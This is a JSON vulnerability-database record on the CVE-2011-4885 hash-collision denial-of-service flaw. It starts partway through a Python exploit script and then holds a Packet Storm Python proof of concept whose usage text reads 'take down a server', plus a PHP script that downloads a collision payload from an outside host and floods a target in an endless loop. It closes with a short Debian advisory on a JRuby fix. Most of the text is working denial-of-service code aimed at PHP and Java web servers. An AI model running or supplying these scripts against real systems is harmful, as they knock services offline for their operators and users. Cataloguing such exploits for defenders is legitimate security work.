_computePHPCollisionChars(self, count):\r\n charrange = range(0, 256)\r\n return self._computeCollisionChars(self._DJBX33A, count, charrange)\r\n \r\n def _computeJAVACollisionChars(self, count):\r\n charrange = range(0, 129)\r\n return self._computeCollisionChars(self._DJBX31A, count, charrange)\r\n \r\n def _computeCollisionChars(self, function, count, charrange):\r\n hashes = {}\r\n counter = 0\r\n length = self._collisioncharlength\r\n a = \"\"\r\n for i in charrange:\r\n a = a+chr(i)\r\n source = list(itertools.product(a, repeat=length))\r\n basestr = ''.join(random.choice(source))\r\n basehash = function(basestr)\r\n hashes[str(counter)] = basestr\r\n counter = counter + 1\r\n for item in source:\r\n tempstr = ''.join(item)\r\n if tempstr == basestr:\r\n continue\r\n if function(tempstr) == basehash:\r\n hashes[str(counter)] = tempstr\r\n counter = counter + 1\r\n if counter >= count:\r\n break;\r\n if counter < count:\r\n # Try it again\r\n if self._recursivecounter > self._recursivemax:\r\n print(\"Not enought values found. Please start this script again\")\r\n sys.exit(1)\r\n print(\"%d: Not enough values found. Trying it again...\" % self._recursivecounter)\r\n self._recursivecounter = self._recursivecounter + 1\r\n hashes = self._computeCollisionChars(function, count, charrange)\r\n else:\r\n if self._verbose:\r\n print(\"Found values:\")\r\n for item in hashes:\r\n tempstr = hashes[item]\r\n print(\"\\tValue: %s\\tHash: %s\" % (tempstr, function(tempstr)))\r\n for i in tempstr:\r\n print(\"\\t\\tValue: %s\\tCharcode: %d\" % (i, ord(i)))\r\n return hashes\r\n \r\n def _DJBXA(self, inputstring, base, start):\r\n counter = len(inputstring) - 1\r\n result = start\r\n for item in inputstring:\r\n result = result + (math.pow(base, counter) * ord(item))\r\n counter = counter - 1\r\n return int(round(result))\r\n \r\n #PHP\r\n def _DJBX33A(self, inputstring):\r\n return self._DJBXA(inputstring, 33, 5381)\r\n \r\n #Java\r\n def _DJBX31A(self, inputstring):\r\n return self._DJBXA(inputstring, 31, 0)\r\n \r\n #ASP\r\n def _DJBX33X(self, inputstring):\r\n counter = len(inputstring) - 1\r\n result = 5381\r\n for item in inputstring:\r\n result = result + (int(round(math.pow(33, counter))) ^ ord(item))\r\n counter = counter - 1\r\n return int(round(result))\r\n \r\n def _generatePayload(self, collisionchars, payloadlength):\r\n # Taken from:\r\n # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision\r\n \r\n # how long should the payload be\r\n length = payloadlength\r\n size = len(collisionchars)\r\n post = \"\"\r\n maxvaluefloat = math.pow(size,length)\r\n maxvalueint = int(math.floor(maxvaluefloat))\r\n for i in range (maxvalueint):\r\n inputstring = self._base_convert(i, size)\r\n result = inputstring.rjust(length, \"0\")\r\n for item in collisionchars:\r\n result = result.replace(str(item), collisionchars[item])\r\n post += urllib.urlencode({result:\"\"}) + \"&\"\r\n \r\n return post;\r\n \r\n def _base_convert(self, num, base):\r\n fullalphabet = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\r\n alphabet = fullalphabet[:base]\r\n if (num == 0):\r\n return alphabet[0]\r\n arr = []\r\n base = len(alphabet)\r\n while num:\r\n rem = num % base\r\n num = num // base\r\n arr.append(alphabet[rem])\r\n arr.reverse()\r\n return \"\".join(arr)\r\n\r\ndef main():\r\n parser = argparse.ArgumentParser(description=\"Take down a remote Host via Hashcollisions\", prog=\"Universal Hashcollision Exploit\")\r\n parser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"Url to attack\", required=True)\r\n parser.add_argument(\"-w\", \"--wait\", dest=\"wait\", action=\"store_true\", default=False, help=\"wait for Response\")\r\n parser.add_argument(\"-c\", \"--count\", dest=\"count\", type=int, default=1, help=\"How many requests\")\r\n parser.add_argument(\"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\", default=False, help=\"Verbose output\")\r\n parser.add_argument(\"-s\", \"--save\", dest=\"save\", help=\"Save payload to file\")\r\n parser.add_argument(\"-p\", \"--payload\", dest=\"payload\", help=\"Save payload to file\")\r\n parser.add_argument(\"-o\", \"--output\", dest=\"output\", help=\"Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w\")\r\n parser.add_argument(\"-t\", \"--target\", dest=\"target\", help=\"Target of the attack\", choices=[\"ASP\", \"PHP\", \"JAVA\"], required=True)\r\n parser.add_argument(\"-m\", \"--max-payload-size\", dest=\"maxpayloadsize\", help=\"Maximum size of the Payload in Megabyte. PHPs defaultconfiguration does not allow more than 8MB, Tomcat is 2MB\", type=int)\r\n parser.add_argument(\"-g\", \"--generate\", dest=\"generate\", help=\"Only generate Payload and exit\", default=False, action=\"store_true\")\r\n parser.add_argument(\"--version\", action=\"version\", version=\"%(prog)s 6.0\")\r\n\r\n options = parser.parse_args()\r\n \r\n if options.target == \"PHP\":\r\n if not options.maxpayloadsize or options.maxpayloadsize == 0:\r\n maxpayloadsize = 8\r\n else:\r\n maxpayloadsize = options.maxpayloadsize\r\n elif options.target == \"ASP\":\r\n if not options.maxpayloadsize or options.maxpayloadsize == 0:\r\n maxpayloadsize = 8\r\n else:\r\n maxpayloadsize = options.maxpayloadsize\r\n elif options.target == \"JAVA\":\r\n if not options.maxpayloadsize or options.maxpayloadsize == 0:\r\n maxpayloadsize = 2\r\n else:\r\n maxpayloadsize = options.maxpayloadsize\r\n else:\r\n print(\"Target %s not yet implemented\" % options.target)\r\n sys.exit(1)\r\n\r\n url = urlparse.urlparse(options.url)\r\n\r\n if not url.scheme:\r\n print(\"Please provide a scheme to the URL(http://, https://,..\")\r\n sys.exit(1)\r\n\r\n host = url.hostname\r\n path = url.path\r\n port = url.port\r\n if not port:\r\n if url.scheme == \"https\":\r\n port = 443\r\n elif url.scheme == \"http\":\r\n port = 80\r\n else:\r\n print(\"Unsupported Protocol %s\" % url.scheme)\r\n sys.exit(1)\r\n if not path:\r\n path = \"/\"\r\n\r\n if not options.payload:\r\n print(\"Generating Payload...\")\r\n \r\n # Number of colliding chars to find\r\n collisionchars = 5\r\n # Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)\r\n collisioncharlength = 2\r\n # Length of each parameter in the payload\r\n payloadlength = 8\r\n generator = Payloadgenerator(options.verbose, collisionchars, collisioncharlength, payloadlength)\r\n if options.target == \"PHP\":\r\n payload = generator.generatePHPPayload()\r\n elif options.target == \"ASP\":\r\n #payload = generateASPPayload()\r\n print(\"Target %s not yet implemented\" % options.target)\r\n sys.exit(1)\r\n elif options.target == \"JAVA\":\r\n payload = generator.generateJAVAPayload()\r\n else:\r\n print(\"Target %s not yet implemented\" % options.target)\r\n sys.exit(1)\r\n\r\n print(\"Payload generated\")\r\n else:\r\n f = open(options.payload, \"r\")\r\n payload = f.read()\r\n f.close()\r\n print(\"Loaded Payload from %s\" % options.payload)\r\n\r\n # trim to maximum payload size (in MB)\r\n maxinmb = maxpayloadsize*1024*1024\r\n payload = payload[:maxinmb]\r\n # remove last invalid(cut off) parameter\r\n position = payload.rfind(\"=&\")\r\n payload = payload[:position+1]\r\n \r\n # Save payload\r\n if options.save:\r\n f = open(options.save, \"w\")\r\n f.write(payload)\r\n f.close()\r\n print(\"Payload saved to %s\" % options.save)\r\n\r\n # User selected to only generate the payload\r\n if options.generate:\r\n return\r\n\r\n print(\"Host: %s\" % host)\r\n print(\"Port: %s\" % str(port))\r\n print(\"path: %s\" % path)\r\n print\r\n print\r\n\r\n for i in range(options.count):\r\n print(\"sending Request #%s...\" % str(i+1))\r\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n if url.scheme == \"https\":\r\n ssl_sock = ssl.wrap_socket(sock)\r\n ssl_sock.connect((host, port))\r\n ssl_sock.settimeout(None)\r\n else:\r\n sock.connect((host, port))\r\n sock.settimeout(None)\r\n\r\n request = \"POST %s HTTP/1.1\\r\\n\\\r\nHost: %s\\r\\n\\\r\nContent-Type: application/x-www-form-urlencoded; charset=utf-8\\r\\n\\\r\nConnection: Close\\r\\n\\\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E)\\r\\n\\\r\nContent-Length: %s\\r\\n\\\r\n\\r\\n\\\r\n%s\\r\\n\\\r\n\\r\\n\" % (path, host, str(len(payload)), payload)\r\n\r\n if url.scheme == \"https\":\r\n ssl_sock.send(request)\r\n else:\r\n sock.send(request)\r\n\r\n if options.verbose:\r\n if len(request) > 400:\r\n print(request[:400]+\"....\")\r\n else:\r\n print(request)\r\n print(\"\")\r\n if options.wait or options.output:\r\n start = time.time()\r\n if url.scheme == \"https\":\r\n data = ssl_sock.recv(1024)\r\n string = \"\"\r\n while len(data):\r\n string = string + data\r\n data = ssl_sock.recv(1024)\r\n else:\r\n data = sock.recv(1024)\r\n string = \"\"\r\n while len(data):\r\n string = string + data\r\n data = sock.recv(1024)\r\n \r\n elapsed = (time.time() - start)\r\n print(\"Request %s finished\" % str(i+1))\r\n print(\"Request %s duration: %s\" % (str(i+1), elapsed))\r\n split = string.partition(\"\\r\\n\\r\\n\")\r\n header = split[0]\r\n content = split[2]\r\n if options.verbose:\r\n # only print http header\r\n print(\"\")\r\n print(header)\r\n print(\"\")\r\n if options.output:\r\n f = open(options.output+str(i)+\".html\", \"w\")\r\n f.write(\"<!-- \"+header+\" -->\\r\\n\"+content)\r\n f.close()\r\n\r\n if url.scheme == \"https\":\r\n ssl_sock.close()\r\n sock.close()\r\n else:\r\n sock.close()\r\n\r\nif __name__ == \"__main__\":\r\n main()", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/18305/"}], "packetstorm": [{"lastseen": "2016-12-05T22:19:13", "description": "", "published": "2012-01-02T00:00:00", "type": "packetstorm", "title": "PHP 5.3.x Hash Collision Proof Of Concept Code", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2012-01-02T00:00:00", "id": "PACKETSTORM:108294", "href": "https://packetstormsecurity.com/files/108294/PHP-5.3.x-Hash-Collision-Proof-Of-Concept-Code.html", "sourceData": "`''' \nThis script was written by Christian Mehlmauer <FireFart@gmail.com> \nOriginal PHP Payloadgenerator taken from https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision \nCVE : CVE-2011-4885 \n \nrequires Python 2.7 \n \nExamples: \n-) Make a single Request, wait for the response and save the response to output0.html \npython HashtablePOC.py -u https://host/index.php -v -c 1 -w -o output \n \n-) Take down a server(make 500 requests without waiting for a response): \npython HashtablePOC.py -u https://host/index.php -v -c 500 \n \nChangelog: \nv2.0: Added Support for https, switched to HTTP 1.1 \nv1.0: Initial Release \n''' \n \nimport socket \nimport sys \nimport math \nimport urllib \nimport string \nimport time \nimport urlparse \nimport argparse \nimport ssl \n \ndef main(): \nparser = argparse.ArgumentParser(description=\"Take down a remote PHP Host\", prog=\"PHP Hashtable Exploit\") \nparser.add_argument(\"-u\", \"--url\", dest=\"url\", help=\"Url to attack\", required=True) \nparser.add_argument(\"-w\", \"--wait\", dest=\"wait\", action=\"store_true\", default=False, help=\"wait for Response\") \nparser.add_argument(\"-c\", \"--count\", dest=\"count\", type=int, default=1, help=\"How many requests\") \nparser.add_argument(\"-v\", \"--verbose\", dest=\"verbose\", action=\"store_true\", default=False, help=\"Verbose output\") \nparser.add_argument(\"-f\", \"--file\", dest=\"file\", help=\"Save payload to file\") \nparser.add_argument(\"-o\", \"--output\", dest=\"output\", help=\"Save Server response to file. This name is only a pattern. HTML Extension will be appended. Implies -w\") \nparser.add_argument('--version', action='version', version='%(prog)s 2.0') \n \noptions = parser.parse_args() \n \nurl = urlparse.urlparse(options.url) \n \nif not url.scheme: \nprint(\"Please provide a scheme to the URL(http://, https://,..\") \nsys.exit(1) \n \nhost = url.hostname \npath = url.path \nport = url.port \nif not port: \nif url.scheme == \"https\": \nport = 443 \nelif url.scheme == \"http\": \nport = 80 \nelse: \nprint(\"Unsupported Protocol %s\" % url.scheme) \nsys.exit(1) \nif not path: \npath = \"/\" \n \nprint(\"Generating Payload...\") \npayload = generatePayload() \nprint(\"Payload generated\") \nif options.file: \nf = open(options.file, 'w') \nf.write(payload) \nf.close() \nprint(\"Payload saved to %s\" % options.file) \nprint(\"Host: %s\" % host) \nprint(\"Port: %s\" % str(port)) \nprint(\"path: %s\" % path) \nprint \nprint \n \nfor i in range(options.count): \nprint(\"sending Request #%s...\" % str(i+1)) \nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \nif url.scheme == \"https\": \nssl_sock = ssl.wrap_socket(sock) \nssl_sock.connect((host, port)) \nssl_sock.settimeout(None) \nelse: \nsock.connect((host, port)) \nsock.settimeout(None) \n \nrequest = \"\"\"POST %s HTTP/1.1 \nHost: %s \nContent-Type: application/x-www-form-urlencoded \nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 ( .NET CLR 3.5.30729; .NET4.0E) \nContent-Length: %s \n \n%s \n \n\"\"\" % (path, host, str(len(payload)), payload) \n \nif url.scheme == \"https\": \nssl_sock.send(request) \nelse: \nsock.send(request) \n \nif options.verbose: \nif len(request) > 300: \nprint(request[:300]+\"....\") \nelse: \nprint(request) \nprint \nif options.wait or options.output: \nstart = time.clock() \nif url.scheme == \"https\": \ndata = ssl_sock.recv(1024) \nstring = \"\" \nwhile len(data): \nstring = string + data \ndata = ssl_sock.recv(1024) \nelse: \ndata = sock.recv(1024) \nstring = \"\" \nwhile len(data): \nstring = string + data \ndata = sock.recv(1024) \n \nelapsed = (time.clock() - start) \nprint (\"Request %s finished\" % str(i+1)) \nprint (\"Request %s duration: %s\" % (str(i+1), elapsed)) \nsplit = string.partition(\"\\r\\n\\r\\n\") \nheader = split[0] \ncontent = split[2] \nif options.verbose: \n# only print http header \nprint \nprint(header) \nprint \nif options.output: \nf = open(options.output+str(i)+\".html\", 'w') \nf.write(\"<!-- \"+header+\" -->\\r\\n\"+content) \nf.close() \n \nif url.scheme == \"https\": \nssl_sock.close() \nsock.close() \nelse: \nsock.close() \n \ndef generatePayload(): \n# Taken from: \n# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision \n \n# Note: Default max POST Data Length in PHP is 8388608 bytes (8MB) \n \n# entries with collisions in PHP hashtable hash function \na = {'0':'Ez', '1':'FY', '2':'G8', '3':'H'+chr(23), '4':'D'+chr(122+33)} \n# how long should the payload be \nlength = 7 \nsize = len(a) \npost = \"\" \nmaxvaluefloat = math.pow(size,length) \nmaxvalueint = int(math.floor(maxvaluefloat)) \nfor i in range (maxvalueint): \ninputstring = base_convert(i, size) \nresult = inputstring.rjust(length, '0') \nfor item in a: \nresult = result.replace(item, a[item]) \npost += '' + urllib.quote(result) + '=&' \n \nreturn post; \n \ndef base_convert(num, base): \nfullalphabet = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\" \nalphabet = fullalphabet[:base] \nif (num == 0): \nreturn alphabet[0] \narr = [] \nbase = len(alphabet) \nwhile num: \nrem = num % base \nnum = num // base \narr.append(alphabet[rem]) \narr.reverse() \nreturn ''.join(arr) \n \nif __name__ == \"__main__\": \nmain() \n`\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/108294/HashtablePOC.py.txt"}, {"lastseen": "2016-12-05T22:24:29", "description": "", "published": "2012-01-01T00:00:00", "type": "packetstorm", "title": "PHP 5.3.x Hashtables Proof Of Concept", "bulletinFamily": "exploit", "cvelist": ["CVE-2011-4885"], "modified": "2012-01-01T00:00:00", "id": "PACKETSTORM:108287", "href": "https://packetstormsecurity.com/files/108287/PHP-5.3.x-Hashtables-Proof-Of-Concept.html", "sourceData": "`<?php \n/* \nPHP 5.3.* Hash Colission DoS Exploit by infodox \nOriginal version by itz me (opensc.ws) \nCVE-2011-4885 \n \nMirrors List: \nhttp://compsoc.nuigalway.ie/~infodox/hashcollide.txt \nhttp://jrs-s.net/hashcollide.txt \nhttp://www.infodox.co.cc/Downloads/hashcollide.txt \n \nChanges: \nDifferent mirror for hashcollide.txt \nNow takes target as a command line argument \nStatus message printing \n \nTwitter: @info_dox \nBlog: blog.infodox.co.cc \nSite: http://www.infodox.co.cc/ \n*/ \n$targ = $argv[1]; \n$x = file_get_contents(\"http://jrs-s.net/hashcollide.txt\"); // if this doesnt work replace with the mirrors_lst ones... \nwhile(1) { \necho \"firing\"; \n$ch = curl_init(\"$targ\"); \ncurl_setopt($ch, CURLOPT_POSTFIELDS, $x); \ncurl_exec($ch); \ncurl_close($ch); \necho \"[+] Voly Sent!\"; \n} \n?> \n`\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/108287/cve-2011-4885_hashtables_exploit.txt"}], "debian": [{"lastseen": "2021-01-14T01:21:18", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4838", "CVE-2012-5370"], "description": "Package : jruby\nVersion : 1.5.1-1+deb6u1\nCVE ID : CVE-2011-4838\nDebian Bug : 686867\n\nJRuby before 1.6.5.1 computes hash values without restricting the ability to\ntrigger hash collisions predictably, which allows context-dependent attackers\nto cause a denial of service (CPU consumption) via crafted input to an\napplication that maintains a hash table. Note: This update includes\ncorrections to the original fix for later Debian releases to avoid the issues\nidentified in CVE-2012-5370.\n", "edition": 9, "modified": "2015-04-29T10:47:49", "published": "2015-04-29T10:47:49", "id": "DEBIAN:DLA-209-1:3C908", "href": "https://lists.debian.org/debian-lts-announce/2015/debian-lts-announce-201504/msg00023.html", "title": "[SECURITY] [DLA 209-1] jruby security update", "type": "debian", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}]}